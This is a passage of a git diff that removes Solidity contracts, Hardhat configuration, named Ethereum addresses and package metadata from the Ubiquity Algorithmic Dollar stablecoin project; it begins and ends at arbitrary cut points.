constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n /// @notice returns (TWAP_PRICE -1) * UAD_Total_Supply\n function getDollarsToMint() external view override returns (uint256) {\n TWAPOracle oracle = TWAPOracle(manager.twapOracleAddress());\n uint256 twapPrice = oracle.consult(manager.dollarTokenAddress());\n require(twapPrice > 1, \"DollarMintingCalculator: not > 1\");\n return\n twapPrice\n .fromUInt()\n .sub(_one)\n .mul(\n (\n IERC20(manager.dollarTokenAddress())\n .totalSupply()\n .fromUInt()\n .div(_one)\n )\n )\n .toUInt();\n }\n}\n" - }, - "contracts/interfaces/ISushiMasterChef.sol": { - "content": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ninterface ISushiMasterChef {\n struct UserInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n }\n struct PoolInfo {\n IERC20 lpToken; // Address of LP token contract.\n uint256 allocPoint; // How many allocation points assigned to this pool.\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\n uint256 accSushiPerShare; // Accumulated SUSHI per share, times 1e12. See below.\n }\n event Deposit(address indexed user, uint256 indexed pid, uint256 amount);\n event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);\n event EmergencyWithdraw(\n address indexed user,\n uint256 indexed pid,\n uint256 amount\n );\n\n function deposit(uint256 _pid, uint256 _amount) external;\n\n // Withdraw LP tokens from MasterChef.\n function withdraw(uint256 _pid, uint256 _amount) external;\n\n // Update reward vairables for all pools. Be careful of gas spending!\n function massUpdatePools() external;\n\n // Update reward variables of the given pool to be up-to-date.\n function updatePool(uint256 _pid) external;\n\n // Add a new lp to the pool. Can only be called by the owner.\n // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n function add(\n uint256 _allocPoint,\n IERC20 _lpToken,\n bool _withUpdate\n ) external;\n\n // Update the given pool's SUSHI allocation point. Can only be called by the owner.\n function set(\n uint256 _pid,\n uint256 _allocPoint,\n bool _withUpdate\n ) external;\n\n // Returns the address of the current owner.\n function owner() external view returns (address);\n\n // Info of each pool.\n function userInfo(uint256 pid, address user)\n external\n view\n returns (ISushiMasterChef.UserInfo memory);\n\n // SUSHI tokens created per block.\n function sushiPerBlock() external view returns (uint256);\n\n // Info of each pool.\n function poolInfo(uint256 pid)\n external\n view\n returns (ISushiMasterChef.PoolInfo memory);\n\n // Total allocation poitns. Must be the sum of all allocation points in all pools.\n function totalAllocPoint() external view returns (uint256);\n\n function poolLength() external view returns (uint256);\n\n // View function to see pending SUSHIs on frontend.\n function pendingSushi(uint256 _pid, address _user)\n external\n view\n returns (uint256);\n}\n\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\n" - }, - "contracts/CouponsForDollarsCalculator.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./interfaces/ICouponsForDollarsCalculator.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./libs/ABDKMathQuad.sol\";\nimport \"./DebtCoupon.sol\";\n\n/// @title Uses the following formula: ((1/(1-R)^2) - 1)\ncontract CouponsForDollarsCalculator is ICouponsForDollarsCalculator {\n using ABDKMathQuad for uint256;\n using ABDKMathQuad for bytes16;\n UbiquityAlgorithmicDollarManager public manager;\n\n /* using ABDKMath64x64 for uint256;\n using ABDKMath64x64 for int128;*/\n\n /// @param _manager the address of the manager/config contract so we can fetch variables\n constructor(address _manager) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n function getCouponAmount(uint256 dollarsToBurn)\n external\n view\n override\n returns (uint256)\n {\n require(\n DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() <\n IERC20(manager.dollarTokenAddress()).totalSupply(),\n \"Coupon to dollar: DEBT_TOO_HIGH\"\n );\n bytes16 one = uint256(1).fromUInt();\n bytes16 totalDebt =\n DebtCoupon(manager.debtCouponAddress())\n .getTotalOutstandingDebt()\n .fromUInt();\n bytes16 r =\n totalDebt.div(\n IERC20(manager.dollarTokenAddress()).totalSupply().fromUInt()\n );\n\n bytes16 oneMinusRAllSquared = (one.sub(r)).mul(one.sub(r));\n\n bytes16 res = one.div(oneMinusRAllSquared);\n\n return res.mul(dollarsToBurn.fromUInt()).toUInt();\n }\n}\n" - }, - "contracts/interfaces/IDebtCoupon.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\";\n\n/// @title A debt coupon which corresponds to a IDebtRedemption contract\ninterface IDebtCoupon is IERC1155 {\n function updateTotalDebt() external;\n\n function burnCoupons(\n address couponOwner,\n uint256 amount,\n uint256 expiryBlockNumber\n ) external;\n\n function mintCoupons(\n address recipient,\n uint256 amount,\n uint256 expiryBlockNumber\n ) external;\n\n function getTotalOutstandingDebt() external view returns (uint256);\n}\n" - }, - "contracts/mocks/MockDebtCoupon.sol": { - "content": "// contracts/GLDToken.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\";\n\ncontract MockDebtCoupon is ERC1155 {\n uint256 private _totalOutstandingDebt;\n\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\n constructor(uint256 totalDebt) ERC1155(\"URI\") {\n _totalOutstandingDebt = totalDebt;\n }\n\n function getTotalOutstandingDebt() public view returns (uint256) {\n return _totalOutstandingDebt;\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\nimport \"../../../security/Pausable.sol\";\n\n/**\n * @dev ERC1155 token with pausable token transfers, minting and burning.\n *\n * Useful for scenarios such as preventing trades until the end of an evaluation\n * period, or having an emergency switch for freezing all token transfers in the\n * event of a large bug.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155Pausable is ERC1155, Pausable {\n /**\n * @dev See {ERC1155-_beforeTokenTransfer}.\n *\n * Requirements:\n *\n * - the contract must not be paused.\n */\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n )\n internal\n virtual\n override\n {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n\n require(!paused(), \"ERC1155Pausable: token transfer while paused\");\n }\n}\n" - }, - "contracts/mocks/MockuADToken.sol": { - "content": "// contracts/GLDToken.sol\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract MockuADToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"ubiquityDollar\", \"uAD\") {\n _mint(msg.sender, initialSupply);\n }\n\n function burn(address account, uint256 amount) public {\n _burn(account, amount);\n }\n\n function mint(address account, uint256 amount) public {\n _mint(account, amount);\n }\n}\n" - }, - "contracts/ERC1155Ubiquity.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\";\nimport \"./UbiquityAlgorithmicDollarManager.sol\";\nimport \"./utils/SafeAddArray.sol\";\n\n/// @title ERC1155 Ubiquity preset\n/// @author Ubiquity Algorithmic Dollar\n/// @notice ERC1155 with :\n/// - ERC1155 minter, burner and pauser\n/// - TotatSupply per id\n/// - Ubiquity Manager access control\ncontract ERC1155Ubiquity is ERC1155, ERC1155Burnable, ERC1155Pausable {\n using SafeAddArray for uint256[];\n UbiquityAlgorithmicDollarManager public manager;\n // Mapping from account to operator approvals\n mapping(address => uint256[]) private _holderBalances;\n uint256 private _totalSupply;\n\n // ----------- Modifiers -----------\n modifier onlyMinter() {\n require(\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\n \"Governance token: not minter\"\n );\n _;\n }\n\n modifier onlyBurner() {\n require(\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\n \"Governance token: not burner\"\n );\n _;\n }\n\n modifier onlyPauser() {\n require(\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\n \"Governance token: not pauser\"\n );\n _;\n }\n\n /**\n * @dev constructor\n */\n constructor(address _manager, string memory uri) ERC1155(uri) {\n manager = UbiquityAlgorithmicDollarManager(_manager);\n }\n\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\n function mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public virtual onlyMinter {\n _mint(to, id, amount, data);\n _totalSupply += amount;\n _holderBalances[to].add(id);\n }\n\n // @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.\n function mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual onlyMinter whenNotPaused {\n _mintBatch(to, ids, amounts, data);\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply += amounts[i];\n }\n _holderBalances[to].add(ids);\n }\n\n /**\n * @dev Pauses all token transfers.\n *\n * See {ERC1155Pausable} and {Pausable-_pause}.\n *\n */\n function pause() public virtual onlyPauser {\n _pause();\n }\n\n /**\n * @dev Unpauses all token transfers.\n *\n * See {ERC1155Pausable} and {Pausable-_unpause}.\n *\n */\n function unpause() public virtual onlyPauser {\n _unpause();\n }\n\n /**\n * @dev See {IERC1155-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) public override {\n super.safeTransferFrom(from, to, id, amount, data);\n _holderBalances[to].add(id);\n }\n\n /**\n * @dev See {IERC1155-safeBatchTransferFrom}.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) public virtual override {\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\n _holderBalances[to].add(ids);\n }\n\n /**\n * @dev Total amount of tokens in with a given id.\n */\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev array of token Id held by the msg.sender.\n */\n function holderTokens(address holder)\n public\n view\n returns (uint256[] memory)\n {\n return _holderBalances[holder];\n }\n\n function _burn(\n address account,\n uint256 id,\n uint256 amount\n ) internal virtual override whenNotPaused {\n super._burn(account, id, amount);\n _totalSupply -= amount;\n }\n\n function _burnBatch(\n address account,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override whenNotPaused {\n super._burnBatch(account, ids, amounts);\n for (uint256 i = 0; i < ids.length; ++i) {\n _totalSupply -= amounts[i];\n }\n }\n\n function _beforeTokenTransfer(\n address operator,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override(ERC1155, ERC1155Pausable) {\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol": { - "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1155.sol\";\n\n/**\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\n * own tokens and those that they have been approved to use.\n *\n * _Available since v3.1._\n */\nabstract contract ERC1155Burnable is ERC1155 {\n function burn(address account, uint256 id, uint256 value) public virtual {\n require(\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n _burn(account, id, value);\n }\n\n function burnBatch(address account, uint256[] memory ids, uint256[] memory values) public virtual {\n require(\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\n \"ERC1155: caller is not owner nor approved\"\n );\n\n _burnBatch(account, ids, values);\n }\n}\n" - }, - "contracts/utils/SafeAddArray.sol": { - "content": "// SPDX-License-Identifier: MIT\n\n// SPDX-License-Identifier: EUPL V1.2\npragma solidity ^0.8.3;\n\n/**\n * @dev Wrappers over Solidity's array push operations with added check\n *\n */\nlibrary SafeAddArray {\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n */\n function add(bytes32[] storage array, bytes32 value) internal {\n for (uint256 i; i < array.length; i++) {\n if (array[i] == value) {\n return;\n }\n }\n array.push(value);\n }\n\n function add(string[] storage array, string memory value) internal {\n bytes32 hashValue = keccak256(bytes(value));\n for (uint256 i; i < array.length; i++) {\n if (keccak256(bytes(array[i])) == hashValue) {\n return;\n }\n }\n array.push(value);\n }\n\n function add(uint256[] storage array, uint256 value) internal {\n for (uint256 i; i < array.length; i++) {\n if (array[i] == value) {\n return;\n }\n }\n array.push(value);\n }\n\n function add(uint256[] storage array, uint256[] memory values) internal {\n for (uint256 i; i < values.length; i++) {\n bool exist = false;\n for (uint256 j; j < array.length; j++) {\n if (array[j] == values[i]) {\n exist = true;\n break;\n }\n }\n if (!exist) {\n array.push(values[i]);\n }\n }\n }\n}\n" - }, - "contracts/BondingShare.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"./ERC1155Ubiquity.sol\";\n\ncontract BondingShare is ERC1155Ubiquity {\n // solhint-disable-next-line no-empty-blocks\n constructor(address _manager) ERC1155Ubiquity(_manager, \"URI\") {}\n}\n" - } - }, - "settings": { - "optimizer": { - "enabled": true, - "runs": 800 - }, - "metadata": { - "bytecodeHash": "none", - "useLiteralContent": true - }, - "outputSelection": { - "*": { - "*": ["abi", "evm.bytecode", "evm.deployedBytecode", "evm.methodIdentifiers", "metadata", "devdoc", "userdoc", "storageLayout", "evm.gasEstimates"], - "": ["ast"] - } - } - } -} diff --git a/packages/contracts/dollar/hardhat-config/gasReporter.ts b/packages/contracts/dollar/hardhat-config/gasReporter.ts deleted file mode 100644 index 98cff2b49..000000000 --- a/packages/contracts/dollar/hardhat-config/gasReporter.ts +++ /dev/null @@ -1,14 +0,0 @@ -import { getKey } from "./utils/getKey"; -export default function gasReporter(REPORT_GAS?: string | boolean) { - if (!REPORT_GAS) { - REPORT_GAS = false; - } - - return { - enabled: Boolean(REPORT_GAS), - currency: "USD", - gasPrice: 60, - onlyCalledMethods: true, - coinmarketcap: getKey("COINMARKETCAP"), - }; -} diff --git a/packages/contracts/dollar/hardhat-config/index.ts b/packages/contracts/dollar/hardhat-config/index.ts deleted file mode 100644 index 1bc31b0c3..000000000 --- a/packages/contracts/dollar/hardhat-config/index.ts +++ /dev/null @@ -1,57 +0,0 @@ -import "@nomiclabs/hardhat-ethers"; -import "@nomiclabs/hardhat-etherscan"; -import "@nomiclabs/hardhat-waffle"; -import "@typechain/hardhat"; -import fs from "fs"; -import dotenv from "dotenv"; -import "hardhat-deploy"; -import "hardhat-gas-reporter"; -import { HardhatUserConfig } from "hardhat/types"; -import path from "path"; -import "solidity-coverage"; -import gasReporter from "./gasReporter"; - -import namedAccounts from "./named-accounts"; -import networks from "./networks"; -import solidity from "./solidity"; -import { getKey } from "./utils/getKey"; -import { warn } from "./utils/warn"; - -// WAIT UNTIL ARTIFACTS ARE GENERATED BEFORE RUNNING TASKS. -if (fs.existsSync(path.join(__dirname, "../artifacts/types"))) { - import("../tasks"); -} else { - warn("Tasks loading skipped until compilation artifacts are available"); -} - -// LOAD .ENV -const pathToDotEnv = path.join(__dirname, "../.env"); -fs.stat(pathToDotEnv, (err, stats) => { - if (err) { - warn("Env file not set"); - } -}); -dotenv.config({ path: pathToDotEnv }); - -// READ .ENV -const { MNEMONIC, UBQ_ADMIN, API_KEY_ALCHEMY, REPORT_GAS, MAINNET_PROVIDER_URL, ROPSTEN_PROVIDER_URL, RINKEBY_PROVIDER_URL } = process.env; - -// USE TEST/DEFAULT ACCOUNTS IF MNEMONIC ENVIRONMENT VARIABLE UNSET -const accounts = { mnemonic: "test test test test test test test test test test test junk" }; - -if (!MNEMONIC) { - warn("MNEMONIC environment variable unset"); -} else { - accounts.mnemonic = MNEMONIC; -} - -// THE HARDHAT CONFIG -export default { - solidity, - namedAccounts, - mocha: { timeout: 1000000 }, - networks: networks(accounts, { MAINNET_PROVIDER_URL, ROPSTEN_PROVIDER_URL, RINKEBY_PROVIDER_URL, API_KEY_ALCHEMY, UBQ_ADMIN }), - typechain: { outDir: "artifacts/types", target: "ethers-v5" }, - gasReporter: gasReporter(REPORT_GAS), - etherscan: { apiKey: getKey("ETHERSCAN") }, -} as HardhatUserConfig; diff --git a/packages/contracts/dollar/hardhat-config/named-accounts.ts b/packages/contracts/dollar/hardhat-config/named-accounts.ts deleted file mode 100644 index 106f3af26..000000000 --- a/packages/contracts/dollar/hardhat-config/named-accounts.ts +++ /dev/null @@ -1,29 +0,0 @@ -export default { - ubq: { - default: "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", // without UBQ => impersonate - mainnet: 0, // use default account 0 with UBQ (of same address !) on mainnet - }, - whaleAddress: "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", - tester: "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - sablier: "0xA4fc358455Febe425536fd1878bE67FfDBDEC59a", - DAI: "0x6B175474E89094C44Da98b954EedeAC495271d0F", - USDC: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", - USDT: "0xdAC17F958D2ee523a2206206994597C13D831ec7", - curve3CrvBasePool: "0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7", - curve3CrvToken: "0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490", - curveFactory: "0x0959158b6040D32d04c301A72CBFD6b39E21c9AE", - curveWhaleAddress: "0xC2872ab688400940d5a6041599b3F7de20730d49", - daiWhaleAddress: "0x16463c0fdB6BA9618909F5b120ea1581618C1b9E", - sushiMultiSig: "0x9a8541Ddf3a932a9A922B607e9CF7301f1d47bD1", - UbqWhaleAddress: "0xa53A6fE2d8Ad977aD926C485343Ba39f32D3A3F6", - MasterChefAddress: "0x8fFCf9899738e4633A721904609ffCa0a2C44f3D", - MetaPoolAddress: "0x20955cb69ae1515962177d164dfc9522feef567e", - BondingAddress: "0x831e3674Abc73d7A3e9d8a9400AF2301c32cEF0C", - BondingV2Address: "0xdAC17F958D2ee523a2206206994597C13D831ec7", // FAKE ADDRESS, TO BE REPLACED AFTER V2 DEPLOYMENT - UbiquityAlgorithmicDollarManagerAddress: "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - jarUSDCAddr: "0xEB801AB73E9A2A482aA48CaCA13B1954028F4c94", - jarYCRVLUSDaddr: "0x4fFe73Cf2EEf5E8C8E0E10160bCe440a029166D2", - strategyYearnUsdcV2: "0xEecEE2637c7328300846622c802B2a29e65f3919", - usdcWhaleAddress: "0x72A53cDBBcc1b9efa39c834A540550e23463AAcB", - pickleControllerAddr: "0x6847259b2B3A4c17e7c43C54409810aF48bA5210", -}; diff --git a/packages/contracts/dollar/hardhat-config/networks.ts b/packages/contracts/dollar/hardhat-config/networks.ts deleted file mode 100644 index f933884b1..000000000 --- a/packages/contracts/dollar/hardhat-config/networks.ts +++ /dev/null @@ -1,56 +0,0 @@ -import { HardhatUserConfig } from "hardhat/config"; -import { getAlchemyRpc } from "./utils/getAlchemyRpc"; -const gasPrice = 60000000000; - -export default function networks( - accounts: { mnemonic: string }, - { MAINNET_PROVIDER_URL, ROPSTEN_PROVIDER_URL, RINKEBY_PROVIDER_URL, API_KEY_ALCHEMY, UBQ_ADMIN }: EnvironmentVariables -) { - // if (!API_KEY_ALCHEMY) { - // throw new Error("API_KEY_ALCHEMY unset!"); - // } - - const forking = { - url: MAINNET_PROVIDER_URL || getAlchemyRpc("mainnet") || "http://localhost:8545", - blockNumber: 13252206, - }; - - return { - localhost: { - url: "http://0.0.0.0:8545", - forking, - hardfork: "london", - accounts, - initialBaseFeePerGas: 0, - }, - hardhat: { - forking, - hardfork: "london", - accounts, - initialBaseFeePerGas: 0, - }, - ropsten: { - url: ROPSTEN_PROVIDER_URL || getAlchemyRpc("ropsten") || "http://localhost:8545", - accounts, - gasPrice, - }, - rinkeby: { - url: RINKEBY_PROVIDER_URL || getAlchemyRpc("rinkeby") || "http://localhost:8545", - accounts, - gasPrice, - }, - mainnet: { - url: MAINNET_PROVIDER_URL || getAlchemyRpc("mainnet") || "http://localhost:8545", - accounts: UBQ_ADMIN ? [UBQ_ADMIN] : accounts, - gasPrice, - }, - } as HardhatUserConfig["networks"]; -} - -interface EnvironmentVariables { - MAINNET_PROVIDER_URL?: string | undefined; - ROPSTEN_PROVIDER_URL?: string | undefined; - RINKEBY_PROVIDER_URL?: string | undefined; - API_KEY_ALCHEMY?: string | undefined; - UBQ_ADMIN?: string | undefined; -} diff --git a/packages/contracts/dollar/hardhat-config/solidity.ts b/packages/contracts/dollar/hardhat-config/solidity.ts deleted file mode 100644 index 7e39a4599..000000000 --- a/packages/contracts/dollar/hardhat-config/solidity.ts +++ /dev/null @@ -1,20 +0,0 @@ -import HardhatUserConfig from "hardhat/types"; -export default { - compilers: [ - { - version: "0.8.3", - settings: { - optimizer: { - enabled: true, - runs: 800, - }, - metadata: { - // do not include the metadata hash, since this is machine dependent - // and we want all generated code to be deterministic - // https://docs.soliditylang.org/en/v0.7.6/metadata.html - bytecodeHash: "none", - }, - }, - }, - ], -} as HardhatUserConfig.SolidityConfig; diff --git a/packages/contracts/dollar/hardhat-config/utils/getAlchemyRpc.ts b/packages/contracts/dollar/hardhat-config/utils/getAlchemyRpc.ts deleted file mode 100644 index 980e482c9..000000000 --- a/packages/contracts/dollar/hardhat-config/utils/getAlchemyRpc.ts +++ /dev/null @@ -1,14 +0,0 @@ -import { warn } from "./warn"; -export function getAlchemyRpc(network: "mainnet" | "ropsten" | "rinkeby"): string | undefined { - // This will try and resolve alchemy key related issues - // first it will read the key value - // if no value found, then it will attempt to load the .env from above to the .env in the current folder - // if that fails, then it will throw an error and allow the developer to rectify the issue - if (process.env.API_KEY_ALCHEMY?.length) { - return `https://eth-${network}.alchemyapi.io/v2/${process.env.API_KEY_ALCHEMY}`; - } else { - // we don't need to throw error here because there would be a couple of alternatives. - warn("Please set the API_KEY_ALCHEMY environment variable to your Alchemy API key"); - return undefined; - } -} diff --git a/packages/contracts/dollar/hardhat-config/utils/getKey.ts b/packages/contracts/dollar/hardhat-config/utils/getKey.ts deleted file mode 100644 index a3bece7ea..000000000 --- a/packages/contracts/dollar/hardhat-config/utils/getKey.ts +++ /dev/null @@ -1,11 +0,0 @@ -import { warn } from "./warn"; - -export function getKey(keyName: "ETHERSCAN" | "COINMARKETCAP") { - const PREFIX = "API_KEY_"; - const ENV_KEY = PREFIX.concat(keyName); - if (process.env[ENV_KEY]) { - return process.env[ENV_KEY] as string; - } else { - warn(`Please set the ${ENV_KEY} environment variable to your ${keyName} API key`); - } -} diff --git a/packages/contracts/dollar/hardhat-config/utils/warn.ts b/packages/contracts/dollar/hardhat-config/utils/warn.ts deleted file mode 100644 index 607ed474b..000000000 --- a/packages/contracts/dollar/hardhat-config/utils/warn.ts +++ /dev/null @@ -1,5 +0,0 @@ -import { colorizeText } from "../../tasks/utils/console-colors"; - -export function warn(message: string) { - console.warn(colorizeText(`\t⚠ ${message}`, "fgYellow")); -} diff --git a/packages/contracts/dollar/hardhat.config.ts b/packages/contracts/dollar/hardhat.config.ts deleted file mode 100644 index cba9130b8..000000000 --- a/packages/contracts/dollar/hardhat.config.ts +++ /dev/null @@ -1,2 +0,0 @@ -import hardhatConfig from "./hardhat-config"; -export default hardhatConfig; diff --git a/packages/contracts/dollar/lint-staged.config.js b/packages/contracts/dollar/lint-staged.config.js deleted file mode 100644 index 2c563ef13..000000000 --- a/packages/contracts/dollar/lint-staged.config.js +++ /dev/null @@ -1,5 +0,0 @@ -module.exports = { - "*.{js,ts}": ["eslint --fix"], - "*.{md,json,sol}": ["prettier --write"], - "**/contracts": ["solhint --ignore-path .solhintignore"], -}; diff --git a/packages/contracts/dollar/package.json b/packages/contracts/dollar/package.json deleted file mode 100644 index ab3ca4402..000000000 --- a/packages/contracts/dollar/package.json +++ /dev/null @@ -1,129 +0,0 @@ -{ - "name": "@ubiquity/dollar", - "version": "1.0.1-beta", - "private": true, - "description": "Ubiquity Algorithmic Dollar smart contracts", - "author": "Ubiquity DAO", - "license": "Apache-2.0", - "homepage": "https://dao.ubq.fi/dollar", - "bugs": { - "url": "https://github.com/ubiquity/ubiquity-dollar/issues" - }, - "repository": { - "type": "git", - "url": "https://github.com/ubiquity/ubiquity-dollar.git" - }, - "scripts": { - "hardhat": "hardhat", - "clean": "hardhat clean", - "build": "TS_NODE_TRANSPILE_ONLY=1 npx hardhat compile", - "purge": "yarn clean && rimraf ./node_modules", - "export": "hardhat export --export-all ./deployments.json", - "test": "hardhat test", - "test:coverage": "hardhat coverage", - "lint": "run-s lint:* build", - "lint:sol": "solhint 'contracts/**/*.sol' --fix", - "lint:eslint": "eslint . --ext js,ts --fix", - "lint:prettier": "prettier --write .", - "node:start": "hardhat node --hostname 0.0.0.0 --no-deploy", - "node:faucet": "hardhat faucet --network localhost", - "node:price-reset": "hardhat priceReset --price 1.00 --network mainnet --dryrun false" - }, - "keywords": [ - "stablecoin", - "erc20", - "ethereum", - "defi", - "ubiquity", - "dao", - "dollar", - "decentralization", - "token", - "algorithmic" - ], - "lavamoat": { - "allowScripts": { - "core-js": false, - "keccak": false, - "secp256k1": false, - "web3": false, - "bufferutil": false, - "utf-8-validate": false, - "core-js-pure": false, - "postinstall-postinstall": false, - "husky": false - } - }, - "dependencies": { - "@commitlint/cli": "^16.1.0", - "@commitlint/config-conventional": "^16.0.0", - "@ethereum-waffle/chai": "^3.4.3", - "@ethereum-waffle/mock-contract": "^3.3.1", - "@ethereum-waffle/provider": "^3.4.1", - "@ethereumjs/block": "^3.6.1", - "@ethereumjs/blockchain": "^5.5.1", - "@ethereumjs/common": "^2.6.2", - "@ethereumjs/ethash": "^1.1.0", - "@ethereumjs/tx": "^3.5.0", - "@ethereumjs/vm": "^5.7.1", - "@ethersproject/abi": "^5.0.0", - "@ethersproject/address": "^5.5.0", - "@ethersproject/bytes": "^5.0.0", - "@ethersproject/hardware-wallets": "^5.5.0", - "@ethersproject/networks": "^5.5.2", - "@ethersproject/providers": "^5.5.3", - "@ethersproject/solidity": "^5.5.0", - "@lavamoat/allow-scripts": "^2.0.0", - "@nomiclabs/hardhat-ethers": "npm:hardhat-deploy-ethers@^0.3.0-beta.13", - "@nomiclabs/hardhat-etherscan": "^3.0.1", - "@nomiclabs/hardhat-waffle": "^2.0.2", - "@openzeppelin/contracts": "^4.5.0", - "@typechain/ethers-v5": "^9.0.0", - "@typechain/hardhat": "^4.0.0", - "@types/big.js": "^6.1.3", - "@types/dotenv": "^8.2.0", - "@types/mocha": "^9.1.0", - "@types/node": "^17.0.17", - "@uniswap/lib": "^4.0.1-alpha", - "@uniswap/sdk": "^3.0.3", - "@uniswap/v2-periphery": "^1.1.0-beta.0", - "abi-to-sol": "^0.5.2", - "axios": "^0.25.0", - "babel-eslint": "^10.1.0", - "big.js": "^6.1.1", - "chai": "^4.3.6", - "dotenv": "^16.0.0", - "eslint-config-airbnb-typescript": "^16.1.0", - "eslint-config-prettier": "^8.3.0", - "eslint-plugin-import": "^2.25.4", - "eslint-plugin-jsx-a11y": "^6.5.1", - "eslint-plugin-prettier": "^4.0.0", - "eslint-plugin-react": "^7.28.0", - "eslint-plugin-react-hooks": "^4.3.0", - "ethereum-waffle": "^3.4.0", - "ethers": "^5.6.9", - "hardhat": "^2.8.4", - "hardhat-deploy": "^0.10.5", - "hardhat-gas-reporter": "^1.0.7", - "husky": "^7.0.4", - "lint-staged": "^12.3.3", - "npm-run-all": "^4.1.5", - "prettier": "^2.5.1", - "prettier-plugin-solidity": "^1.0.0-beta.19", - "rimraf": "3.0.2", - "solhint": "^3.3.7", - "solhint-plugin-prettier": "^0.0.5", - "solidity-coverage": "^0.7.19", - "solidity-linked-list": "^5.1.0", - "ts-generator": "^0.1.1", - "ts-node": "^10.5.0", - "typechain": "^7.0.0", - "typescript": "^4.5.5", - "usb": "^2.1.2" - }, - "devDependencies": { - "@types/ethereum-block-by-date": "^1.4.1", - "ethereum-block-by-date": "^1.4.5", - "nodemon": "^2.0.19" - } -} diff --git a/packages/contracts/dollar/tasks/constants/index.ts b/packages/contracts/dollar/tasks/constants/index.ts deleted file mode 100644 index 7259bcfe9..000000000 --- a/packages/contracts/dollar/tasks/constants/index.ts +++ /dev/null @@ -1,57 +0,0 @@ -export const DEPLOYMENT_OVERRIDES: Record = { - mainnet: { - deployer: "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - whaleAddress: "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", - tester: "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - sablier: "0xA4fc358455Febe425536fd1878bE67FfDBDEC59a", - DAI: "0x6B175474E89094C44Da98b954EedeAC495271d0F", - USDC: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", - USDT: "0xdAC17F958D2ee523a2206206994597C13D831ec7", - curve3CrvBasePool: "0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7", - curve3CrvToken: "0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490", - curveFactory: "0x0959158b6040D32d04c301A72CBFD6b39E21c9AE", - curveWhaleAddress: "0xC2872ab688400940d5a6041599b3F7de20730d49", - daiWhaleAddress: 